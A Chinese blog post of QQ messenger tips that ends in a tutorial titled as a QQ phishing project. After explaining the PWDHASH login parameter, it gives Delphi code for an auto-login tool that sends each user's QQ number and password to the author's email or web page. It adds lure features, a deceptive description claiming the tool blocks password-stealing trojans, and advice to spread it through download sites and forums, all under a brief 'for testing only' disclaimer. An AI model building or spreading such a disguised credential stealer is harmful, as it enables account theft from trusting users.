设为首页 加入收藏
  • 如何建免费群

    2008-03-04

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://xiyingbiao.blogbus.com/logs/16392318.html

    等级不够,也能拥有自己的qq群

    想建qq群,要么是会员(qq会员每月10元的费用),要么等到16级以后才能建群,可是要升至16级,要用320天的时间。现在告诉你一个简单的方法,即使不是会员,也无须等到320天以后,就能建立自己的群的方法。我们可以把qq切换到tm状态,然后点击“企业”,就可以建立一个企业群,按照提示完成后,设置自己群的成员,就完成了。最后切换到qq,自己的qq群就建立了。不错吧,哈哈啊!



    qq头像自动更新三招

    面对越来越小气的腾讯我们不得不利用一切可领用的方法,能声银子就省银子。不过现在实现下面的方法前,首先要让级别达到16级以上才能使用自定义头像。

    1.腾讯推荐头像。更换头像时,非红钻用户要花1q币。推荐头像显示后,下载到e:

    program files\tencent\qq\facemgr文件夹里面(加入qq装在e盘)。点击“本地上传”,在弹出的窗口中找到上述文件夹,选择喜欢的头像即可。

    2. 会员头像。对于会员头像可以用抓图软件(比如snagit、hypersnp等)抓取大小为40x40的图片,然后保存到电脑在上传。

    3.好友头像拿来用。qq好友中有不少漂亮的头像,他们在e:\program files\qq\xxx\userhead文件夹里面(xxx代表你的qq号码),找到后上传就ok啦!



    突破限制我有妙招

    现在,聊天已成为我们网络生活中不可或缺的一部分,但有很多地方为避免聊天可能带来的负面影响,均采取各种手段来限制im软件的使用。怎样突破限制呢?用网页版im就是不错的选择。网页版im的使用方法和所能实现的功能与软件版im基本相同,最大的区别是它仅由几张普通的网页组成,只要能正常访问那几张网页便使用能网页版im来突破限制,畅享聊天之趣!以下是几个常用im网页版的url。快登上去与你的好友交流吧!

    qq:http://webqq.qq.com/

    msn:http://webmessenger.msn.com/

    popo:http://popo.163.com

    雅虎通:http://cn.webmessenger.yahoo.com/

    淘宝旺旺:http://webww.taobao.com/wangwang/



    巧妙验证自己是否在别人的好于名单中

    当你给对方发了n条消息,可就是不见回复,除了别人不在的原因外,那就是别人把你删除了,你没有在对方的好友列表中,尤其是刚认识不久的mm,想看看自己还在你喜欢的mm的好友列表中吗?试一下我的这个方法吧。首先来到qq秀商城里随便点一件物品,输入你想验证的qq号码,点他人支持。如提示“错误:对不起,您必须是10001的好友才能向他所要qqshow商品”,那就表明,你已经被别人无情的抛弃了~_~!!! 



    探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

    1.QQ登陆加密算法

    QQ命令行启动方式:

    Quote:

    QQ.exe /START QQUINQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)

    其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

    PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

    下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

    获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
    Code Language : Delphi

    function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
    type
    TempChar = array[0..15] of char;
    var
    md5: TIdHashMessageDigest5;
    begin
    md5 := TIdHashMessageDigest5.Create;
    result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
    md5.Free;
    end;

    Parsed in 0.015 seconds
    上面函数用到的Base64函数为:
    Code Language : Delphi

    function Base64(Src: string): string;
    const
    DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    var
    i, ModLen: integer;
    Current: string;
    Buf: array[1..3] of Byte;
    NewBuf: array[1..4] of Byte;
    begin
    result := '';
    if Src = '' then
    exit;
    ModLen := Length(Src) mod 3;
    while Length(Src) > 0 do
    begin
    FillChar(Buf, 3, #0);
    Current := Copy(Src, 1, 3);
    Src := Copy(Src, 4, Length(Src) - 3);
    for i := 1 to 3 do
    Buf := Ord(Current);
    NewBuf[1] := Buf[1] shr 2;
    NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
    NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
    NewBuf[4] := Buf[3] and $3F;
    for i := 1 to 4 do
    result := result + DataSet[NewBuf + 1];
    end;
    if ModLen >= 1 then
    result[Length(result)] := '=';
    if ModLen = 1 then
    result[Length(result) - 1] := '=';
    end;

    Parsed in 0.049 seconds
    这样就可以实现从命令行直接登陆QQ了。

    另外我们还要获取QQ的安装路径:
    在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

    2.简单打造QQ钓鱼工程

    有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
    编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
    当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
    Code Language : Delphi

    function HtmlEncode(s: string): string;
    var
    i, v1, v2: integer;
    function i2s(b: byte): char;
    begin
    if b <= 9 then result := chr($30 + b)
    else result := chr($41 - 10 + b);
    end;
    begin
    result := '';
    for i := 1 to length(s) do
    if s = ' ' then result := result + '+'
    else if (s < ' ') or (s in ['/', '\', ':', '&', '?', '|']) then
    begin
    v1 := ord(s) mod 16;
    v2 := ord(s) div 16;
    result := result + '%' + i2s(v2) + i2s(v1);
    end
    else result := result + s;
    end;

    function UpperCase(AStr: string): string; overload;
    var
    LI: Integer;
    begin
    Result := AStr;
    for LI := 1 to Length(Result) do
    Result[LI] := UpCase(Result[LI]);
    end;

    // 以Post方式发信
    function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
    var
    hSession: HINTERNET;
    hConnect, hRequest: hInternet;
    lpBuffer: array[0..1024 + 1] of Char;
    dwBytesRead: DWORD;
    HttpStr: string;
    HostName, FileName: string;
    FTResult: Boolean;
    AcceptType: LPStr;
    Buf: Pointer;
    dwBufLen, dwIndex: DWord;
    procedure ParseURL(URL: string; var HostName, FileName: string);
    procedure ReplaceChar(c1, c2: Char; var St: string);
    var
    p: Integer;
    begin
    while True do
    begin
    p := Pos(c1, St);
    if p = 0 then Break
    else St[p] := c2;
    end;
    end;
    var
    i: Integer;
    begin
    if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
    System.Delete(URL, 1, 7);
    i := Pos('/', URL);
    HostName := Copy(URL, 1, i);
    FileName := Copy(URL, i, Length(URL) - i + 1);
    if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
    SetLength(HostName, Length(HostName) - 1);
    end;
    begin
    Result := False;
    hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
    try
    if Assigned(hSession) then
    begin
    ParseURL(aUrl, HostName, FileName);
    hConnect := InternetConnect(hSession, PChar(HostName),
    INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
    AcceptType := PChar('Accept: */*');
    hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
    nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
    HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
    PChar(FTPostQuery), Length(FTPostQuery));
    dwIndex := 0;
    dwBufLen := 1024;
    GetMem(Buf, dwBufLen);
    FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
    Buf, dwBufLen, dwIndex);
    if FTResult = True then
    try
    while True do
    begin
    dwBytesRead := 1024;
    InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
    if dwBytesRead = 0 then break;
    lpBuffer[dwBytesRead] := #0;
    HttpStr := HttpStr + lpBuffer;
    end;
    Result := pos(strPostOkResult, HttpStr) > 0;
    finally
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    end;
    end;
    finally
    InternetCloseHandle(hSession);
    end;
    end;

    Parsed in 0.122 seconds
    我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:

    QQ性别任意修改:
    Code Language : Delphi

    procedure ChangeSex(sex:string);
    var
    tmp:pchar;
    h,h1,h2,h3,h4,h5:HWND;
    id:integer;
    begin
    h := FindWindow('#32770','QQ2007设置');
    if h=0 then
    h := FindWindow('#32770','QQ2006设置');
    if h<>0 then begin
    h1 := FindWindowEx(h,0,'#32770',nil);
    h2 := FindWindowEx(h1,0,'#32770',nil);
    h3 := GetDlgItem(h2,1356);
    h4 := GetDlgItem(h2,551);
    h5 := GetDlgItem(h1,1343);
    SendMessage(h3,32,0,0); //WM_SETCURSOR
    id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
    SendMessage(h3,334,id,0); //选择所加的那项
    SendMessage(h4,13,10,longint(@tmp));
    SendMessage(h4,12,0,longint(@tmp));
    SendMessage(h5,245,0,0); //点击确定按钮
    end
    else
    Application.MessageBox('请先打开QQ个人设置窗口!','提示',MB_OK);
    end;

    Parsed in 0.032 seconds
    QQ强行聊天:
    Code Language : Delphi

    procedure QQChat(number:string);
    var
    inum:integer;
    begin
    if trystrtoint(number,inum) then
    begin
    if inum>10000 then
    ShellExecute(handle,nil,pchar('Tencent://Message/?Menu=YES&Exe=&Uin='+number),nil,nil,SW_NORMAL)
    else
    Application.MessageBox('无此QQ号码!','提示',MB_OK);
    end
    else
    Application.MessageBox('请输入有效的QQ号码!','提示',MB_OK);
    end;

    Parsed in 0.016 seconds
    这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)

    程序最终效果如图:


    到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:

    Quote:

    程序功能:
    1.自动登陆
    能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
    使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗

    2.QQ性别任意修改
    可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)

    3.强行聊天
    能和任意QQ号码聊天,无须添加对方为好友
    ……

    然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!

    郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人无关!

    收藏到:Del.icio.us




发表评论

您将收到博主的回复邮件
记住我